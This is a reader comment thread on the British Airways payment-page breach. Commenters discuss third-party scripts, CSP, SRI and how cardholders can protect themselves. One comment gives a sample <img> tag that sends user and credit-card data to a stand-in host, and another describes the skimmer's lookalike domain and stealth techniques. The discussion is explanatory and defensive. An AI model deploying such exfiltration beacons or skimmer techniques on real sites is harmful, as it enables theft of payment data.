British Airways hack: Infosec experts finger third-party scripts on payment pages Security experts are debating the cause of the British Airways mega-breach, with external scripts on its payment systems emerging as a prime suspect in the hack. Why infosec folk think it was the payment system Although BA hasn't disclosed the root of the breach, the unusual precision it ascribed to the hack's duration …
This post has been deleted by its author
"Not saying you may not have a point, but it is not really helpful to point out possible mistakes without also explaining how they may be fixed in a satisfactory manner."
How old are you? It's not that long since sites didn't work that way. The problem is that more development money goes on shiny UX <spit> than providing essential functionality on the server. It's more a matter of manglement deciding on whether to spend money now on development and maybe running services from their own servers or spending it later on compensation, fines and PR costs to try to repair a trashed reputation.
This post has been deleted by its author
> Amazon works fine with javascript disabled.
That is neither here nor there. If they wanted they could have slurped the data in a million other ways.
As for Amazon, it may work with JS disabled but how does that help when you end up getting scammed anyway by the "Trusted Amazon Partner" that you were, possibly unbeknownst to you, buying from?
It is precisely here and there. Disabling javascript drastically reduces the attack surface so there are a thousand fewer ways to slurp the data. The Scammers went after BA despite Amazon having ten times the revenue and far more customers.
Amazon make it abundantly clear when you are dealing with a partner. You would really have to be stoned out of you brain not to notice. I can tell you precisely what happened to me the only time I got scammed by an Amazon partner. When I tried to complain to Amazon they instantly offered a full refund or credit on my account. The entire process took under two minutes. I have never received such excellent customer server from any other internet / mail order vendor.
I would dearly love a competitor to Amazon because they are near enough a monopoly. First thing that competitor has to do is demonstrate a minimal understanding of security by having their site work without javascript.
> As for Amazon, it may work with JS disabled but how does that help
It means that the attacker, instead of just having to compromise static files on the front-end part of the site, would have to compromise the back-end services themselves.
Is that true?
I'll believe that Amazon's site will work with JS turned off.
But I don't believe that many people do actually turn it off.
So if I could "compromise static files on the front end part of the site",
could I not still add JS that would send (copy) information to a location of my choosing?
The point is: if you disable JS in your *browser* then you are immune to JS attacks.
A good site will degrade gracefully and still give you the functionality you need, albeit a bit less responsive, without JS.
Sadly, most sites these days break if JS is disabled. And as a result, almost nobody disables JS.
> 3rd party scripts again. When will they learn?
Looking at the report, it wasn't a third-party script as such: it was hosted directly on BA's infrastructure. In fact, if they had served the script from a third party host such as a CDN and had used integrity verification this particular attack would have been foiled.
The scripts WERE NOT hosted on an external resource, they were served from inside BAs infrastructure. The path they came from was:
https://www.britishairways.com/cms/global/scripts/lib
However, they WERE third party scripts in that they were not written specifically for the BA site, but were local copies of script libraries freely available to web developers from various vendors.
In this case, they were modified versions of the freely available scripts, with malicious extra code added to siphon off users details to an external domain.
This post has been deleted by its author
The domain was registered by the miscreants...are there not http headers to limit this.
There are a number of basic things that could have been implemented to expose parts of the hack that weren't.
Yet again the basics being missed cause a cluster f***.
So yes, the lesson (still) to learn is get the basics right before blowing millions with IBM or whoever.
Our checkout pages have all kinds of external scripts embedded. I currently hold a CISSP certification, and when I constantly bring up all of the security issues on our sites, I'm told something like "It is critical to our business to have these, you just don't understand marketing".
I just make sure I have paper copies of the emails bringing up these issues. I will eventually need them!!
AC, well, because!
@Fatman
The thing is that my boss is a really good guy. The problem is that he just can't bring himself to understand how dangerous some of the things he insists on using really are. He thinks I'm "just being paranoid" about this stuff. He will get it when we have a breach. Only then will he get it!
It's the boy that cried wolf scenario. When I tell him that something is really dangerous, and we don't remove it; months go by and we don't get hacked, then it becomes "see, that wasn't dangerous after all". I start looking like a paranoid nutjob.
That's the sad truth as Emirates / Lufthansa get shamed here below. This is the mirky world of Data-Analytics-Partnerships & Data Brokers (invasive slurp to you and me). This isn't compatible with GDPR - consent my ass:
https://www.theregister.co.uk/2018/03/05/emirates_dinged_for_slipshod_privacy_practices/
This post has been deleted by its author
This all sounds depressingly similar.
Coming soon to canned statements near you > Blame the minions, Heartfelt apologies, Promises to do better...
Time for the ICO to slap a wrist or two.
Start a pool for the next announcement - I'll tick the supermarket online shopping or possibly a coffee chain.
BA's payment page still loads content from seven external domains.
They are not alone in that.
The current trend to use multiple layers of frameworks that are loaded from 3rd parties for even the simplest operation is a huge hole the size of the Grand Canyon.
The event at BA is just the tip of the iceberg. If I was running a business that took payments online, I'd be taking a really good look at how that was working and what 3rd parties were involved.
Oh, and their cost cutting and sending all their IT to India naturally won't have anything to do with it...
Reason being: there's $$$ in merging and sharing analytics, and before GDPR nothing to stop it. This mirky world of backroom Data-Brokers has to end... But as long as there's paying-customers from Double-Click to Experian to Facebook, nothing is going to stop. Flight bookings generally contain juicy accurate data-sets and so are a captive market for slurpy vampires etc:
https://www.theregister.co.uk/2018/03/05/emirates_dinged_for_slipshod_privacy_practices/
If the company owns the domain then it isn't a third-party script. Would be nice if security researchers and journos could at least get the basics right when they complain about others not getting their basics right.
> If the company owns the domain then it isn't a third-party script.
Exactly. And this is made plain in the first lines of the report, past the self-patting twaddle.
The level of ignorance shown in these comment sections these days is appalling. It is like everyone who owns a phone and has ever used a web browser feels qualified to "talk IT".
Third party script... code run in context or otherwise from from a third party website not the originating domain.
Third party code... code written by an unknown entity, which may or may not have been vetted and run in the head of the developer and then well tested before deployment. This can become a third party script.
Right or wrong this is how I have always interpreted these terms.
If the company owns the domain then it isn't a third-party script.
Wrong.
Modernizr is a third-party script library, as are JQuery et al. They are produced and distributed by a third party. Just because you host a local copy on your own domain doesn't make them not third-party.
Aside from breach prevention, I was thinking of possible ways this could have been mitigated.
Currently we have CORS to declare with which hosts a server is willing to share resources. We also have CSP to declare from which hosts ours is willing to receive resources.
What we do not seem to have is a specification to declare to which hosts (if any) our page is expected to send data.
Obviously this would be just another brick in the security wall, but such a specification could have stopped the exfiltration taking place even though part of BA's infrastructure (but for some reason not the main site) got successfully penetrated.
<not a security guy>
Sounds like something a browser plugin could do - maybe just an additional feature to NoScript, to by default block communication by scripts to domains other than their origin?
Also, isn't this called XSS, and already dealt with by security protocols?
</nass>
> maybe just an additional feature to NoScript, to by default block communication by scripts to domains other than their origin?
That might actually be a reasonable stopgap feature. In my experience most often the hosts serving the code and those receiving the data are under the same domain, so highlighting any deviations from this could let an astute user know that something may be amiss.
A more permanent solution should probably be standards-based, but your idea is a start.
> Also, isn't this called XSS, and already dealt with by security protocols?
No, this wasn't cross-site scripting. Malicious code was injected into BA's own hosts and served via their own scripts. The attack is rather elegant in its simplicity.
> <not a security guy>
Come on chaps, why are you downvoting that comment without offering a counter-argument? He makes a pretty reasonable analysis that shows that, while not claiming to be specialised in security, the poster does have a sufficiently good background to firmly grasp the problem at hand.
What is it that you disagree with and why?
The CSP will do this for you already. But you have to lock everything down. If, for example, you allow images from anywhere then I can exfiltrate data by including the image:
<img src="http://example.com/save-hacked-details/?user=brewsters-angle-grinder&credit-card=1234-0000-8000-1234&">
Congratulations, you have heard of Qualys.¹
> Weak key exchange highlighted for a start
Any website intended for a large and diverse audience has to have support for older ciphers. It is the same with Google, Facebook, Amazon, EBay, etc., etc. This is not the same as supporting known vulnerable ciphers.
> 3rd party scripts are a ticking time bomb
What third party scripts?
¹ A little knowledge is a dangerous thing, they say.
Is there anything the average user could have done to protect themselves against this kind of attack? I don't know that much about web security (no I don't work for BA /s) so I'm curious if you have any hope of avoiding such attacks. Other than never using your credit card online of course!
> Disabling Javascript would have protected you in this instance
That is not useful advice.
For a start, the poster specifically mentioned a "non-technical" user so it is questionable whether disabling JS is within the reach of our actor.
Then, the user would not have been able to complete the transaction, so better advice would be not to visit the site (perhaps the user could buy the ticket over the phone?).
But the main thing is, whatever your mechanism for triggering the transmission, be it JavaScript Fetch or a form action or whatever else, you're still exposed to the technique used which is a MOTS (Man On The Side) attack, a form of MITM (Man In The Middle).
I'm the OP - personally, I am a technical user but with no experience of developing or managing websites. As well as trying to learn more for myself, my family assume I know everything technical and will likely ask me for advice on this!
I had experimented with turning off javascript in the past but most sites that support any kind of transaction or interaction need it enabled these days.
Sounds like best advice is general good practice (keep software up to date etc) and monitor your credit card transactions closely. when experiencing fraud a couple of times in the past my bank has at least always refunded me promptly.
> Is there anything the average user could have done to protect themselves against this kind of attack?
Great question!
The single most important thing that you can do is monitor your credit card / bank transactions and report anything that does not look legit.
From a technical point of view, sadly, there is no protection that I can think of. But read on.
A technical user who *knew* or strongly suspected there was a threat could have stopped it in a number of ways but realistically that isn't likely. Myself having the qualifications, experience, knowledge and capability to stop the attack if I knew it was there, I would have been squarely caught by it.
However, there are ways to mitigate the impact of any such attacks. One way is as you say, not to use your credit / debit card online. If you can pay by bank transfer (or get a corporate account if you're a business customer) then do so, assuming that your bank's security is not itself too questionable. :-) Another way would be to use one-shot / prepaid credit card numbers. You will still get owned, but only up to the balance on the card.
But the takeaway is that defences are primarily human not technological. Just keep an eye on your statements.
You can get some credit cards that allow you to generate a throw-away electronic-only card number for one-off transactions on websites. It's probably no use for BA, as they may expect you to have the card with you when you check-in (they used to, but I've not used BA in 15 years).
The article mentions a guy who tried to use Noscript and complained to BA that he had to take his defences down in order to use their website, so I suspect that you can't protect yourself in that way - and that's probably true for a lot of these websites.
So the only real way is to check your credit card bill every month, before it's paid - so you can complain about any fraudelent transactions.
An entirely non-technical tactic - I use a second credit card (issued by a provider I have no other financial ties with) for every single online transaction I do, and check its transactions frequently. My main card - which has a higher credit limit - never goes near a website, and nothing on earth would induce me to put bank account card details into a website (except within my own bank's website). It's not going to stop someone getting the details, but it will reduce the inconvenience to me if it happens.
It also made it really easy for the main card provider to spot a fraudulent transaction when the offline card appeared to be used on an online transaction, as it was completely out of pattern.
I've never lost out as a result of fraudulent transactions on any credit card and there have been a few over the years (I don't think I've ever had my debit card ripped off: I don't use it anywhere but ATMs.)
It's just the inconvenience of having to get cards replaced, but Amex were quick (reported Saturday, arrived Tuesday) on the last occurrence - which was probably the miscreants testing cards stolen via Ticketmaster but after the BA hack and publicity.
BA has admitted the hack and notified customers, however GDPR requires "Security by Design and Default".....does anyone agree that BA's implementation satisfies this requirement?
Under GDPR the company and BA management decision makers are now in the frame for prosecution and fines.
To hack an airline and steal all their passenger data you used to have to own the mainframe and be renting the ticketing service to the competitor airline you were hacking.
And then be let off without any sort of fine - because the mainframe was on your premises so you had done nothing wrong.
Now you can outsource hacking your own customers to somebody in Romania
JS dev here, a few interesting points about the added code:
- Uses JQuery explicitly rather than $ - maybe the BA site had disabled $?
- But doesn't use JQuery all the time, when it would have been quicker to do so - getElementByID("personPaying") - maybe indicating two authors?
- Odd to replace window.onload entirely when you have $(function() { ... } )
- Uses a 500ms setTimeout and async AJAX to avoid delaying the legitimate operation, and domain 'baways.com' which looks plausible-ish, in case anyone notices it in the status bar.
- As the article says, binds to both mouseup and touchend so it also works in their thin-wrapper mobile app. That must have been an unexpected bonus J
The big question, of course, is how did the attackers manage to inject this into their static CMS server? But it emphasises that if you are loading libraries - yours or third party - the security of those sources is just as critical as the payment handling server.
Thank you!
My question was going to be "could this be a case of exploiting an unnoticed typo or partially planned functionality that was never implemented by finding the error and discovering the domain was available" but the async AJAX suggests they were trying to minimise the impact of the calls so they remained hidden.
Had opportunities to get into coding web sites but feared it. In the early 00's the web was already heavily commercialized but still stuck using bad practices from the 90's. Forced habits from all the browser-type checking or specific browser version glue etc. So when evaluating JS functionality it was easy to miss stuff, like undecidable glue bolted on over the years rather then the right tool for the job in an increasingly complex security conscious world. So how is JS looking in 2018, can anyone say? Thanks!
This post has been deleted by its author
As has already been pointed out, it is clear that there were no "third-party scripts" involved and that this was a breach of BA's own infrastructure.
It would be good if your headline at least vaguely reflected the facts. Cheers.
@AC
it is clear that there were no "third-party scripts" involved
Modernizr is a third-party script library, as are JQuery et al. They were not written specifically for the BA site, or by BA's dev team, they were written by a third party...
No, they weren't hosted externally, but that's a different matter.
So the headline is technically correct.
> So the headline is technically correct.
Ah, "technically correct". Did it reflect the facts though? Would it have made any difference whatsoever whether they injected the code in one script file or a different one? They got breached and what does the headline say?
It looks like a traditional attack updated to use Javascript - this vector would work on most sites once you gain access to the servers. All you need to do is find someone hired by an outsourced, third-party support company and give them a USB stick. Nothing new about this at all.
Good thought - indeed any competent web dev could write both this code and the backend POST handler in under an hour. But that leaves out the capability to inject this in the first place, and then 'fence' the massive resulting data set, which I guess points to a more established group.
I suspect there is a general problem with the interpretation of the green locked-padlock icon.
The average user, if they think about it at all, assumes that it means that the transaction is secure, whereas https is designed to make the communications channel relatively secure, in that it is (relatively) difficult to decrypt the information in transit. Few people actually check the provenance of the certificate attesting that the site they are connecting to is indeed who it says it is - the SSL cert for baways.com might have tipped a few people off if they had.
This confusion leads to exploits, where, as in this case, malware is delivered over 'secure' channels.
There is no simple way for an end-user to confirm the the authenticity of the scripts that their browser is running. There are tools available to assure that you run only signed code, but they are not always used e.g. Subresource Integrity and Content Security Policies.
A green padlock does not tell you whether the site you are connecting to is sending you a script over https that contains non-authenticated javascript from elsewhere. As BA have found out, that is a problem.
See also: "The Green Padlock is not enough"
Scott Helme has some good reading on CSP and SRI -
Scott Helme: Articles tagged with CSP
Scott Helme: Articles tagged with SRI
This article of his basically tells you why CSP + SRI really ought to be the default...Protect your site from Cryptojacking with CSP + SRI
I have been yelling at various companies (and posting warnings on public forums), about this for a few years; some of them take notice, others I dont do business with any longer.
The ones that REALLY wind me up are external scripts for FUCKING FANCY FONTS!!!! on a secure payment page, that make the payment fail if you dont allow them.
Please excuse the alliteration; but this practise is inexcusable.
The whole commercial font system is to blame for externally loading fonts (usually via a third party JavaScript file). Font licenses being what they are: pay £1000’s for the license but those help guide PDFs you want to create? That’s one extra license per file. Want to use the font on your website? Then you need to use Adobe’s TypeKit because we won’t let you serve the WOFFs from your own domain.
On the one hand, companies are told not to try to write some bits of a secure system themselves, but to use other people's libraries - the list of people who thought they could do crypto functions and ended up with something less secure than ROT13 is very, very long.
On the other, they get blamed if they do use outside code and something goes worng.
The Register 
Biting the hand that feeds IT
Copyright. All rights reserved © 1998–2025
